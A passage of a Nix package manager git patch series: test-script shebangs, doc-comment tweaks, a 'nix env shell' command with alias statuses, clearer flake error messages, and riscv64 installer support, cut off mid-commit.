+++ b/tests/functional/test-infra.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 # Test the functions for testing themselves!
 # Also test some assumptions on how bash works that they rely on.
 source common.sh
diff --git a/tests/functional/test-libstoreconsumer.sh b/tests/functional/test-libstoreconsumer.sh
old mode 100644
new mode 100755
index 8a77cf5a143..d1a1accb607
--- a/tests/functional/test-libstoreconsumer.sh
+++ b/tests/functional/test-libstoreconsumer.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 drv="$(nix-instantiate simple.nix)"
diff --git a/tests/functional/timeout.sh b/tests/functional/timeout.sh
old mode 100644
new mode 100755
index b179b79a232..441c83b0e02
--- a/tests/functional/timeout.sh
+++ b/tests/functional/timeout.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 # Test the `--timeout' option.
 
 source common.sh
diff --git a/tests/functional/toString-path.sh b/tests/functional/toString-path.sh
old mode 100644
new mode 100755
index 07eb8746588..d790109f41a
--- a/tests/functional/toString-path.sh
+++ b/tests/functional/toString-path.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 mkdir -p $TEST_ROOT/foo
diff --git a/tests/functional/user-envs-migration.sh b/tests/functional/user-envs-migration.sh
old mode 100644
new mode 100755
index 187372b1623..992586b951d
--- a/tests/functional/user-envs-migration.sh
+++ b/tests/functional/user-envs-migration.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 # Test that the migration of user environments
 # (https://github.com/NixOS/nix/pull/5226) does preserve everything
 
diff --git a/tests/functional/user-envs.sh b/tests/functional/user-envs.sh
old mode 100644
new mode 100755
index a849d543994..ec9d036f8c2
--- a/tests/functional/user-envs.sh
+++ b/tests/functional/user-envs.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source ./common.sh
 
 source ./user-envs-test-case.sh
diff --git a/tests/functional/why-depends.sh b/tests/functional/why-depends.sh
old mode 100644
new mode 100755
index 9680bf80ebe..69b365069d0
--- a/tests/functional/why-depends.sh
+++ b/tests/functional/why-depends.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
diff --git a/tests/functional/zstd.sh b/tests/functional/zstd.sh
old mode 100644
new mode 100755
index ba7c20501fe..3bf9d56016d
--- a/tests/functional/zstd.sh
+++ b/tests/functional/zstd.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore

From 2bd66922eef1c41e74efe1cca722b0ee7d640af1 Mon Sep 17 00:00:00 2001
From: Philipp <philipp.zander@tweag.io>
Date: Wed, 29 May 2024 01:05:40 +0200
Subject: [PATCH 211/528] add empty line to documentation comments after
 `@brief` field (#10800)

* add empty line to documentation comments after `@brief` field

Co-authored-by: Cole Helbling <cole.e.helbling@outlook.com>
---
 src/libexpr-c/nix_api_value.h  | 1 +
 src/libstore-c/nix_api_store.h | 6 +++++-
 2 files changed, 6 insertions(+), 1 deletion(-)

diff --git a/src/libexpr-c/nix_api_value.h b/src/libexpr-c/nix_api_value.h
index b2b3439ef3e..f568b5c27a7 100644
--- a/src/libexpr-c/nix_api_value.h
+++ b/src/libexpr-c/nix_api_value.h
@@ -79,6 +79,7 @@ typedef struct nix_realised_string nix_realised_string;
  * @{
  */
 /** @brief Function pointer for primops
+ *
  * When you want to return an error, call nix_set_err_msg(context, NIX_ERR_UNKNOWN, "your error message here").
  *
  * @param[in] user_data Arbitrary data that was initially supplied to nix_alloc_primop
diff --git a/src/libstore-c/nix_api_store.h b/src/libstore-c/nix_api_store.h
index e9441be1ae2..d3cb8fab84e 100644
--- a/src/libstore-c/nix_api_store.h
+++ b/src/libstore-c/nix_api_store.h
@@ -54,8 +54,10 @@ nix_err nix_libstore_init_no_load_config(nix_c_context * context);
 nix_err nix_init_plugins(nix_c_context * context);
 
 /**
- * @brief Open a nix store
+ * @brief Open a nix store.
+ *
  * Store instances may share state and resources behind the scenes.
+ *
  * @param[out] context Optional, stores error information
  * @param[in] uri URI of the Nix store, copied. See [*Store URL format* in the Nix Reference
  * Manual](https://nixos.org/manual/nix/stable/store/types/#store-url-format).
@@ -157,7 +159,9 @@ nix_err nix_store_realise(
 
 /**
  * @brief get the version of a nix store.
+ *
  * If the store doesn't have a version (like the dummy store), returns an empty string.
+ *
  * @param[out] context Optional, stores error information
  * @param[in] store nix store reference
  * @param[in] callback Called with the version.

From 5786e1ae7c300b3c7434e7df99b41f180dc42e37 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <Mic92@users.noreply.github.com>
Date: Wed, 29 May 2024 09:50:51 +0200
Subject: [PATCH 212/528] docs: mention importNative/exec in
 allow-unsafe-native-code-during-evaluation (#10803)

* docs: mention importNative/exec in allow-unsafe-native-code-during-evaluation

Both of these still needs their own actual documentation, but they are
at least now mentioned that they exist and what they're enabled by.

Co-authored-by: Qyriad <qyriad@qyriad.me>
Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
---
 src/libexpr/eval-settings.hh | 20 ++++++++++++++++++--
 1 file changed, 18 insertions(+), 2 deletions(-)

diff --git a/src/libexpr/eval-settings.hh b/src/libexpr/eval-settings.hh
index 60d3a6f25dd..dbfc3b2c776 100644
--- a/src/libexpr/eval-settings.hh
+++ b/src/libexpr/eval-settings.hh
@@ -15,8 +15,24 @@ struct EvalSettings : Config
 
     static std::string resolvePseudoUrl(std::string_view url);
 
-    Setting<bool> enableNativeCode{this, false, "allow-unsafe-native-code-during-evaluation",
-        "Whether builtin functions that allow executing native code should be enabled."};
+    Setting<bool> enableNativeCode{this, false, "allow-unsafe-native-code-during-evaluation", R"(
+        Enable built-in functions that allow executing native code.
+
+        In particular, this adds:
+        - `builtins.importNative` *path*
+        
+          Load a dynamic shared object (DSO) at *path* which exposes a function pointer to a procedure that initialises a Nix language value, and return that value.
+          The procedure must have the following signature:
+          ```cpp
+          extern "C" typedef void (*ValueInitialiser) (EvalState & state, Value & v);
+          ``` 
+          
+          The [Nix C++ API documentation](@docroot@/contributing/documentation.md#api-documentation) has more details on evaluator internals.
+          
+        - `builtins.exec` *arguments*
+        
+          Execute a program, where *arguments* are specified as a list of strings, and parse its output as a Nix expression.
+    )"};
 
     Setting<Strings> nixPath{
         this, getDefaultNixPath(), "nix-path",

From e2182d07d9320020993fe84baff262f81243501e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Sat, 25 May 2024 23:42:24 +0200
Subject: [PATCH 213/528] fixup extension of changelog entry

---
 .../{fix-silent-unknown-options => fix-silent-unknown-options.md} | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 rename doc/manual/rl-next/{fix-silent-unknown-options => fix-silent-unknown-options.md} (100%)

diff --git a/doc/manual/rl-next/fix-silent-unknown-options b/doc/manual/rl-next/fix-silent-unknown-options.md
similarity index 100%
rename from doc/manual/rl-next/fix-silent-unknown-options
rename to doc/manual/rl-next/fix-silent-unknown-options.md

From 18ac6545fc9081d943dbe007ea8f58c69b26279e Mon Sep 17 00:00:00 2001
From: Qyriad <qyriad@qyriad.me>
Date: Tue, 21 May 2024 05:29:52 -0600
Subject: [PATCH 214/528] print type and value in "flake attr is not a
 derivation" errors
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This turns errors like:

error: flake output attribute 'hydraJobs' is not a derivation or path

into errors like:

error: expected flake output attribute 'hydraJobs' to be a derivation or
path but found a set: { binaryTarball = «thunk»; build = «thunk»; etc> }

This change affects all InstallableFlake commands.

Source: https://git.lix.systems/lix-project/lix/commit/20981461d4a2a62c68f4bc7c4258473f7cd7d8e1
Signed-off-by: Jörg Thalheim <joerg@thalheim.io>
---
 .../print-value-in-installable-flake-error.md  | 18 ++++++++++++++++++
 src/libcmd/installable-flake.cc                |  9 +++++++--
 2 files changed, 25 insertions(+), 2 deletions(-)
 create mode 100644 doc/manual/rl-next/print-value-in-installable-flake-error.md

diff --git a/doc/manual/rl-next/print-value-in-installable-flake-error.md b/doc/manual/rl-next/print-value-in-installable-flake-error.md
new file mode 100644
index 00000000000..bb35e252e30
--- /dev/null
+++ b/doc/manual/rl-next/print-value-in-installable-flake-error.md
@@ -0,0 +1,18 @@
+---
+synopsis: New-cli flake commands that expect derivations now print the failing value and its type
+prs: 10778
+---
+
+In errors like `flake output attribute 'nixosConfigurations.yuki.config' is not a derivation or path`, the message now includes the failing value and type.
+
+Before:
+
+```
+    error: flake output attribute 'nixosConfigurations.yuki.config' is not a derivation or path
+````
+
+After:
+
+```
+    error: expected flake output attribute 'nixosConfigurations.yuki.config' to be a derivation or path but found a set: { appstream = «thunk»; assertions = «thunk»; boot = { bcache = «thunk»; binfmt = «thunk»; binfmtMiscRegistrations = «thunk»; blacklistedKernelModules = «thunk»; bootMount = «thunk»; bootspec = «thunk»; cleanTmpDir = «thunk»; consoleLogLevel = «thunk»; «43 attributes elided» }; «48 attributes elided» }
+```
diff --git a/src/libcmd/installable-flake.cc b/src/libcmd/installable-flake.cc
index 6ff837ddc4b..d42fa7aaccc 100644
--- a/src/libcmd/installable-flake.cc
+++ b/src/libcmd/installable-flake.cc
@@ -106,9 +106,14 @@ DerivedPathsWithInfo InstallableFlake::toDerivedPaths()
             fmt("while evaluating the flake output attribute '%s'", attrPath)))
         {
             return { *derivedPathWithInfo };
+        } else {
+            throw Error(
+                "expected flake output attribute '%s' to be a derivation or path but found %s: %s",
+                attrPath,
+                showType(v),
+                ValuePrinter(*this->state, v, errorPrintOptions)
+            );
         }
-        else
-            throw Error("flake output attribute '%s' is not a derivation or path", attrPath);
     }
 
     auto drvPath = attr->forceDerivation();

From 1c70eb8eee8a439443736f226bda60b69a69f9a4 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 29 May 2024 21:42:53 +0200
Subject: [PATCH 215/528] libcmd: Fix #10774

---
 src/libcmd/common-eval-args.cc | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc
index 155b43b700b..cd0f192577f 100644
--- a/src/libcmd/common-eval-args.cc
+++ b/src/libcmd/common-eval-args.cc
@@ -20,7 +20,7 @@ MixEvalArgs::MixEvalArgs()
         .description = "Pass the value *expr* as the argument *name* to Nix functions.",
         .category = category,
         .labels = {"name", "expr"},
-        .handler = {[&](std::string name, std::string expr) { autoArgs.insert_or_assign(name, AutoArg{AutoArgExpr(expr)}); }}
+        .handler = {[&](std::string name, std::string expr) { autoArgs.insert_or_assign(name, AutoArg{AutoArgExpr{expr}}); }}
     });
 
     addFlag({
@@ -28,7 +28,7 @@ MixEvalArgs::MixEvalArgs()
         .description = "Pass the string *string* as the argument *name* to Nix functions.",
         .category = category,
         .labels = {"name", "string"},
-        .handler = {[&](std::string name, std::string s) { autoArgs.insert_or_assign(name, AutoArg{AutoArgString(s)}); }},
+        .handler = {[&](std::string name, std::string s) { autoArgs.insert_or_assign(name, AutoArg{AutoArgString{s}}); }},
     });
 
     addFlag({
@@ -36,7 +36,7 @@ MixEvalArgs::MixEvalArgs()
         .description = "Pass the contents of file *path* as the argument *name* to Nix functions.",
         .category = category,
         .labels = {"name", "path"},
-        .handler = {[&](std::string name, std::string path) { autoArgs.insert_or_assign(name, AutoArg{AutoArgFile(path)}); }},
+        .handler = {[&](std::string name, std::string path) { autoArgs.insert_or_assign(name, AutoArg{AutoArgFile{path}}); }},
         .completer = completePath
     });
 

From 0ed356f3c0d6d7e716d113e563c89dcdbd92b11e Mon Sep 17 00:00:00 2001
From: "J. Dekker" <jdek@itanimul.li>
Date: Thu, 30 May 2024 15:03:20 +0200
Subject: [PATCH 216/528] scripts/install.in: add riscv64 support to installer

The artifacts are already built and hosted, the install script just needs to be taught about riscv64.

Signed-off-by: J. Dekker <jdek@itanimul.li>
---
 scripts/install.in | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/scripts/install.in b/scripts/install.in
index 7d2e52b2637..b4e808d8e94 100755
--- a/scripts/install.in
+++ b/scripts/install.in
@@ -50,6 +50,11 @@ case "$(uname -s).$(uname -m)" in
         path=@tarballPath_armv7l-linux@
         system=armv7l-linux
         ;;
+    Linux.riscv64)
+        hash=@tarballHash_riscv64-linux@
+        path=@tarballPath_riscv64-linux@
+        system=riscv64-linux
+        ;;
     Darwin.x86_64)
         hash=@tarballHash_x86_64-darwin@
         path=@tarballPath_x86_64-darwin@

From 98b85b2166736f08ae7e4a5e0014e92c8c79ebf7 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 30 May 2024 18:19:22 +0200
Subject: [PATCH 217/528] nix/main: Add
 AliasStatus::{Deprecated,AcceptedShorthand}

---
 src/nix/main.cc | 68 ++++++++++++++++++++++++++++++-------------------
 1 file changed, 42 insertions(+), 26 deletions(-)

diff --git a/src/nix/main.cc b/src/nix/main.cc
index 541d1a1b3ba..3602402ae49 100644
--- a/src/nix/main.cc
+++ b/src/nix/main.cc
@@ -42,6 +42,19 @@ void chrootHelper(int argc, char * * argv);
 
 namespace nix {
 
+enum struct AliasStatus {
+    /** Aliases that don't go away */
+    AcceptedShorthand,
+    /** Aliases that will go away */
+    Deprecated,
+};
+
+/** An alias, except for the original syntax, which is in the map key. */
+struct AliasInfo {
+    AliasStatus status;
+    std::vector<std::string> replacement;
+};
+
 /* Check if we have a non-loopback/link-local network interface. */
 static bool haveInternet()
 {
@@ -134,29 +147,29 @@ struct NixArgs : virtual MultiCommand, virtual MixCommonArgs, virtual RootArgs
         });
     }
 
-    std::map<std::string, std::vector<std::string>> aliases = {
-        {"add-to-store", {"store", "add-path"}},
-        {"cat-nar", {"nar", "cat"}},
-        {"cat-store", {"store", "cat"}},
-        {"copy-sigs", {"store", "copy-sigs"}},
-        {"dev-shell", {"develop"}},
-        {"diff-closures", {"store", "diff-closures"}},
-        {"dump-path", {"store", "dump-path"}},
-        {"hash-file", {"hash", "file"}},
-        {"hash-path", {"hash", "path"}},
-        {"ls-nar", {"nar", "ls"}},
-        {"ls-store", {"store", "ls"}},
-        {"make-content-addressable", {"store", "make-content-addressed"}},
-        {"optimise-store", {"store", "optimise"}},
-        {"ping-store", {"store", "ping"}},
-        {"sign-paths", {"store", "sign"}},
-        {"show-derivation", {"derivation", "show"}},
-        {"show-config", {"config", "show"}},
-        {"to-base16", {"hash", "to-base16"}},
-        {"to-base32", {"hash", "to-base32"}},
-        {"to-base64", {"hash", "to-base64"}},
-        {"verify", {"store", "verify"}},
-        {"doctor", {"config", "check"}},
+    std::map<std::string, AliasInfo> aliases = {
+        {"add-to-store", { AliasStatus::Deprecated, {"store", "add-path"}}},
+        {"cat-nar", { AliasStatus::Deprecated, {"nar", "cat"}}},
+        {"cat-store", { AliasStatus::Deprecated, {"store", "cat"}}},
+        {"copy-sigs", { AliasStatus::Deprecated, {"store", "copy-sigs"}}},
+        {"dev-shell", { AliasStatus::Deprecated, {"develop"}}},
+        {"diff-closures", { AliasStatus::Deprecated, {"store", "diff-closures"}}},
+        {"dump-path", { AliasStatus::Deprecated, {"store", "dump-path"}}},
+        {"hash-file", { AliasStatus::Deprecated, {"hash", "file"}}},
+        {"hash-path", { AliasStatus::Deprecated, {"hash", "path"}}},
+        {"ls-nar", { AliasStatus::Deprecated, {"nar", "ls"}}},
+        {"ls-store", { AliasStatus::Deprecated, {"store", "ls"}}},
+        {"make-content-addressable", { AliasStatus::Deprecated, {"store", "make-content-addressed"}}},
+        {"optimise-store", { AliasStatus::Deprecated, {"store", "optimise"}}},
+        {"ping-store", { AliasStatus::Deprecated, {"store", "ping"}}},
+        {"sign-paths", { AliasStatus::Deprecated, {"store", "sign"}}},
+        {"show-derivation", { AliasStatus::Deprecated, {"derivation", "show"}}},
+        {"show-config", { AliasStatus::Deprecated, {"config", "show"}}},
+        {"to-base16", { AliasStatus::Deprecated, {"hash", "to-base16"}}},
+        {"to-base32", { AliasStatus::Deprecated, {"hash", "to-base32"}}},
+        {"to-base64", { AliasStatus::Deprecated, {"hash", "to-base64"}}},
+        {"verify", { AliasStatus::Deprecated, {"store", "verify"}}},
+        {"doctor", { AliasStatus::Deprecated, {"config", "check"}}},
     };
 
     bool aliasUsed = false;
@@ -167,10 +180,13 @@ struct NixArgs : virtual MultiCommand, virtual MixCommonArgs, virtual RootArgs
         auto arg = *pos;
         auto i = aliases.find(arg);
         if (i == aliases.end()) return pos;
-        warn("'%s' is a deprecated alias for '%s'",
-            arg, concatStringsSep(" ", i->second));
+        auto & info = i->second;
+        if (info.status == AliasStatus::Deprecated) {
+            warn("'%s' is a deprecated alias for '%s'",
+                arg, concatStringsSep(" ", info.replacement));
+        }
         pos = args.erase(pos);
-        for (auto j = i->second.rbegin(); j != i->second.rend(); ++j)
+        for (auto j = info.replacement.rbegin(); j != info.replacement.rend(); ++j)
             pos = args.insert(pos, *j);
         aliasUsed = true;
         return pos;

From c692f6af132dc62f72edbb2c7a73bfa838398904 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 30 May 2024 18:22:11 +0200
Subject: [PATCH 218/528] nix env shell: Move from nix shell, add shorthand
 alias

---
 doc/manual/rl-next/nix-env-shell.md | 12 ++++
 src/nix/env.cc                      | 98 +++++++++++++++++++++++++++++
 src/nix/main.cc                     |  1 +
 src/nix/run.cc                      | 77 -----------------------
 tests/functional/shell.sh           |  3 +
 5 files changed, 114 insertions(+), 77 deletions(-)
 create mode 100644 doc/manual/rl-next/nix-env-shell.md
 create mode 100644 src/nix/env.cc

diff --git a/doc/manual/rl-next/nix-env-shell.md b/doc/manual/rl-next/nix-env-shell.md
new file mode 100644
index 00000000000..b2344417a9d
--- /dev/null
+++ b/doc/manual/rl-next/nix-env-shell.md
@@ -0,0 +1,12 @@
+---
+synopsis: "`nix env shell` is the new `nix shell`, and `nix shell` remains an accepted alias"
+issues: 10504
+prs: 10807
+---
+
+This is part of an effort to bring more structure to the CLI subcommands.
+
+`nix env` will be about the process environment.
+Future commands may include `nix env run` and `nix env print-env`.
+
+It is also somewhat analogous to the [planned](https://github.com/NixOS/nix/issues/10504) `nix dev shell` (currently `nix develop`), which is less about environment variables, and more about running a development shell, which is a more powerful command, but also requires more setup.
diff --git a/src/nix/env.cc b/src/nix/env.cc
new file mode 100644
index 00000000000..47efdf3087d
--- /dev/null
+++ b/src/nix/env.cc
@@ -0,0 +1,98 @@
+#include "command.hh"
+#include "run.hh"
+#include <queue>
+
+using namespace nix;
+
+struct CmdEnv : NixMultiCommand
+{
+    CmdEnv() : NixMultiCommand("env", RegisterCommand::getCommandsFor({"env"}))
+    { }
+
+    std::string description() override
+    {
+        return "manipulate the process environment";
+    }
+
+    Category category() override { return catUtility; }
+};
+
+static auto rCmdEnv = registerCommand<CmdEnv>("env");
+
+struct CmdShell : InstallablesCommand, MixEnvironment
+{
+
+    using InstallablesCommand::run;
+
+    std::vector<std::string> command = { getEnv("SHELL").value_or("bash") };
+
+    CmdShell()
+    {
+        addFlag({
+            .longName = "command",
+            .shortName = 'c',
+            .description = "Command and arguments to be executed, defaulting to `$SHELL`",
+            .labels = {"command", "args"},
+            .handler = {[&](std::vector<std::string> ss) {
+                if (ss.empty()) throw UsageError("--command requires at least one argument");
+                command = ss;
+            }}
+        });
+    }
+
+    std::string description() override
+    {
+        return "run a shell in which the specified packages are available";
+    }
+
+    std::string doc() override
+    {
+        return
+          #include "shell.md"
+          ;
+    }
+
+    void run(ref<Store> store, Installables && installables) override
+    {
+        auto outPaths = Installable::toStorePaths(getEvalStore(), store, Realise::Outputs, OperateOn::Output, installables);
+
+        auto accessor = store->getFSAccessor();
+
+        std::unordered_set<StorePath> done;
+        std::queue<StorePath> todo;
+        for (auto & path : outPaths) todo.push(path);
+
+        setEnviron();
+
+        std::vector<std::string> pathAdditions;
+
+        while (!todo.empty()) {
+            auto path = todo.front();
+            todo.pop();
+            if (!done.insert(path).second) continue;
+
+            if (true)
+                pathAdditions.push_back(store->printStorePath(path) + "/bin");
+
+            auto propPath = accessor->resolveSymlinks(
+                CanonPath(store->printStorePath(path)) / "nix-support" / "propagated-user-env-packages");
+            if (auto st = accessor->maybeLstat(propPath); st && st->type == SourceAccessor::tRegular) {
+                for (auto & p : tokenizeString<Paths>(accessor->readFile(propPath)))
+                    todo.push(store->parseStorePath(p));
+            }
+        }
+
+        auto unixPath = tokenizeString<Strings>(getEnv("PATH").value_or(""), ":");
+        unixPath.insert(unixPath.begin(), pathAdditions.begin(), pathAdditions.end());
+        auto unixPathString = concatStringsSep(":", unixPath);
+        setEnv("PATH", unixPathString.c_str());
+
+        Strings args;
+        for (auto & arg : command) args.push_back(arg);
+
+        runProgramInStore(store, UseLookupPath::Use, *command.begin(), args);
+    }
+};
+
+static auto rCmdShell = registerCommand2<CmdShell>({"env", "shell"});
+
diff --git a/src/nix/main.cc b/src/nix/main.cc
index 3602402ae49..94fd05fba0e 100644
--- a/src/nix/main.cc
+++ b/src/nix/main.cc
@@ -163,6 +163,7 @@ struct NixArgs : virtual MultiCommand, virtual MixCommonArgs, virtual RootArgs
         {"optimise-store", { AliasStatus::Deprecated, {"store", "optimise"}}},
         {"ping-store", { AliasStatus::Deprecated, {"store", "ping"}}},
         {"sign-paths", { AliasStatus::Deprecated, {"store", "sign"}}},
+        {"shell", { AliasStatus::AcceptedShorthand, {"env", "shell"}}},
         {"show-derivation", { AliasStatus::Deprecated, {"derivation", "show"}}},
         {"show-config", { AliasStatus::Deprecated, {"config", "show"}}},
         {"to-base16", { AliasStatus::Deprecated, {"hash", "to-base16"}}},
diff --git a/src/nix/run.cc b/src/nix/run.cc
index cc999ddf4f4..7d312247001 100644
--- a/src/nix/run.cc
+++ b/src/nix/run.cc
@@ -71,83 +71,6 @@ void runProgramInStore(ref<Store> store,
 
 }
 
-struct CmdShell : InstallablesCommand, MixEnvironment
-{
-
-    using InstallablesCommand::run;
-
-    std::vector<std::string> command = { getEnv("SHELL").value_or("bash") };
-
-    CmdShell()
-    {
-        addFlag({
-            .longName = "command",
-            .shortName = 'c',
-            .description = "Command and arguments to be executed, defaulting to `$SHELL`",
-            .labels = {"command", "args"},
-            .handler = {[&](std::vector<std::string> ss) {
-                if (ss.empty()) throw UsageError("--command requires at least one argument");
-                command = ss;
-            }}
-        });
-    }
-
-    std::string description() override
-    {
-        return "run a shell in which the specified packages are available";
-    }
-
-    std::string doc() override
-    {
-        return
-          #include "shell.md"
-          ;
-    }
-
-    void run(ref<Store> store, Installables && installables) override
-    {
-        auto outPaths = Installable::toStorePaths(getEvalStore(), store, Realise::Outputs, OperateOn::Output, installables);
-
-        auto accessor = store->getFSAccessor();
-
-        std::unordered_set<StorePath> done;
-        std::queue<StorePath> todo;
-        for (auto & path : outPaths) todo.push(path);
-
-        setEnviron();
-
-        std::vector<std::string> pathAdditions;
-
-        while (!todo.empty()) {
-            auto path = todo.front();
-            todo.pop();
-            if (!done.insert(path).second) continue;
-
-            if (true)
-                pathAdditions.push_back(store->printStorePath(path) + "/bin");
-
-            auto propPath = accessor->resolveSymlinks(
-                CanonPath(store->printStorePath(path)) / "nix-support" / "propagated-user-env-packages");
-            if (auto st = accessor->maybeLstat(propPath); st && st->type == SourceAccessor::tRegular) {
-                for (auto & p : tokenizeString<Paths>(accessor->readFile(propPath)))
-                    todo.push(store->parseStorePath(p));
-            }
-        }
-
-        auto unixPath = tokenizeString<Strings>(getEnv("PATH").value_or(""), ":");
-        unixPath.insert(unixPath.begin(), pathAdditions.begin(), pathAdditions.end());
-        auto unixPathString = concatStringsSep(":", unixPath);
-        setEnv("PATH", unixPathString.c_str());
-
-        Strings args;
-        for (auto & arg : command) args.push_back(arg);
-
-        runProgramInStore(store, UseLookupPath::Use, *command.begin(), args);
-    }
-};
-
-static auto rCmdShell = registerCommand<CmdShell>("shell");
-
 struct CmdRun : InstallableValueCommand
 {
     using InstallableCommand::run;
diff --git a/tests/functional/shell.sh b/tests/functional/shell.sh
index e6bb4b161c9..1760eefff31 100755
--- a/tests/functional/shell.sh
+++ b/tests/functional/shell.sh
@@ -5,6 +5,9 @@ source common.sh
 clearStore
 clearCache
 
+# nix shell is an alias for nix env shell. We'll use the shorter form in the rest of the test.
+nix env shell -f shell-hello.nix hello -c hello | grep 'Hello World'
+
 nix shell -f shell-hello.nix hello -c hello | grep 'Hello World'
 nix shell -f shell-hello.nix hello -c hello NixOS | grep 'Hello NixOS'
 

From d93cc11491f2ebba81ebb56ef8faa1b29bb7699a Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 30 May 2024 18:40:53 +0200
Subject: [PATCH 219/528] Format

---
 src/nix/env.cc | 50 +++++++++++++++++++++++++++++---------------------
 1 file changed, 29 insertions(+), 21 deletions(-)

diff --git a/src/nix/env.cc b/src/nix/env.cc
index 47efdf3087d..021c47cbbd0 100644
--- a/src/nix/env.cc
+++ b/src/nix/env.cc
@@ -6,15 +6,20 @@ using namespace nix;
 
 struct CmdEnv : NixMultiCommand
 {
-    CmdEnv() : NixMultiCommand("env", RegisterCommand::getCommandsFor({"env"}))
-    { }
+    CmdEnv()
+        : NixMultiCommand("env", RegisterCommand::getCommandsFor({"env"}))
+    {
+    }
 
     std::string description() override
     {
         return "manipulate the process environment";
     }
 
-    Category category() override { return catUtility; }
+    Category category() override
+    {
+        return catUtility;
+    }
 };
 
 static auto rCmdEnv = registerCommand<CmdEnv>("env");
@@ -24,20 +29,20 @@ struct CmdShell : InstallablesCommand, MixEnvironment
 
     using InstallablesCommand::run;
 
-    std::vector<std::string> command = { getEnv("SHELL").value_or("bash") };
+    std::vector<std::string> command = {getEnv("SHELL").value_or("bash")};
 
     CmdShell()
     {
-        addFlag({
-            .longName = "command",
-            .shortName = 'c',
-            .description = "Command and arguments to be executed, defaulting to `$SHELL`",
-            .labels = {"command", "args"},
-            .handler = {[&](std::vector<std::string> ss) {
-                if (ss.empty()) throw UsageError("--command requires at least one argument");
-                command = ss;
-            }}
-        });
+        addFlag(
+            {.longName = "command",
+             .shortName = 'c',
+             .description = "Command and arguments to be executed, defaulting to `$SHELL`",
+             .labels = {"command", "args"},
+             .handler = {[&](std::vector<std::string> ss) {
+                 if (ss.empty())
+                     throw UsageError("--command requires at least one argument");
+                 command = ss;
+             }}});
     }
 
     std::string description() override
@@ -48,19 +53,21 @@ struct CmdShell : InstallablesCommand, MixEnvironment
     std::string doc() override
     {
         return
-          #include "shell.md"
-          ;
+#include "shell.md"
+            ;
     }
 
     void run(ref<Store> store, Installables && installables) override
     {
-        auto outPaths = Installable::toStorePaths(getEvalStore(), store, Realise::Outputs, OperateOn::Output, installables);
+        auto outPaths =
+            Installable::toStorePaths(getEvalStore(), store, Realise::Outputs, OperateOn::Output, installables);
 
         auto accessor = store->getFSAccessor();
 
         std::unordered_set<StorePath> done;
         std::queue<StorePath> todo;
-        for (auto & path : outPaths) todo.push(path);
+        for (auto & path : outPaths)
+            todo.push(path);
 
         setEnviron();
 
@@ -69,7 +76,8 @@ struct CmdShell : InstallablesCommand, MixEnvironment
         while (!todo.empty()) {
             auto path = todo.front();
             todo.pop();
-            if (!done.insert(path).second) continue;
+            if (!done.insert(path).second)
+                continue;
 
             if (true)
                 pathAdditions.push_back(store->printStorePath(path) + "/bin");
@@ -88,11 +96,11 @@ struct CmdShell : InstallablesCommand, MixEnvironment
         setEnv("PATH", unixPathString.c_str());
 
         Strings args;
-        for (auto & arg : command) args.push_back(arg);
+        for (auto & arg : command)
+            args.push_back(arg);
 
         runProgramInStore(store, UseLookupPath::Use, *command.begin(), args);
     }
 };
 
 static auto rCmdShell = registerCommand2<CmdShell>({"env", "shell"});
-

From 73f9afd71626120c2ffcd06b7ae66a7ec6787e36 Mon Sep 17 00:00:00 2001
From: "J. Dekker" <jdek@itanimul.li>
Date: Thu, 30 May 2024 20:11:28 +0200
Subject: [PATCH 220/528] upload-release.pl: add riscv64 to
 nix-fallback-paths.nix

This uses the x86_64-linux's cross-compiled output as we don't have a
native riscv64 builder.

Signed-off-by: J. Dekker <jdek@itanimul.li>
---
 maintainers/upload-release.pl | 1 +
 1 file changed, 1 insertion(+)

diff --git a/maintainers/upload-release.pl b/maintainers/upload-release.pl
index 9e73524a632..4c4e2bd6f5e 100755
--- a/maintainers/upload-release.pl
+++ b/maintainers/upload-release.pl
@@ -243,6 +243,7 @@ sub downloadFile {
     "  x86_64-linux = \"" . getStorePath("build.x86_64-linux") . "\";\n" .
     "  i686-linux = \"" . getStorePath("build.i686-linux") . "\";\n" .
     "  aarch64-linux = \"" . getStorePath("build.aarch64-linux") . "\";\n" .
+    "  riscv64-linux = \"" . getStorePath("buildCross.riscv64-unknown-linux-gnu.x86_64-linux") . "\";\n" .
     "  x86_64-darwin = \"" . getStorePath("build.x86_64-darwin") . "\";\n" .
     "  aarch64-darwin = \"" . getStorePath("build.aarch64-darwin") . "\";\n" .
     "}\n");

From a9031978da28a3cf759d64b36cbac131c8323945 Mon Sep 17 00:00:00 2001
From: Linus Heckemann <git@sphalerite.org>
Date: Thu, 30 May 2024 23:20:42 +0200
Subject: [PATCH 221/528] libfetchers: handle nonexistent refs in GitLab repos
 more gracefully
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Before:

$ nix flake lock --override-input nixpkgs gitlab:simple-nixos-mailserver/nixos-mailserver/nonexistent
fetching git input 'git+file:///home/linus/projects/lix'
fetching gitlab input 'gitlab:simple-nixos-mailserver/nixos-mailserver/nonexistent'
error: [json.exception.type_error.302] type must be string, but is null

After:

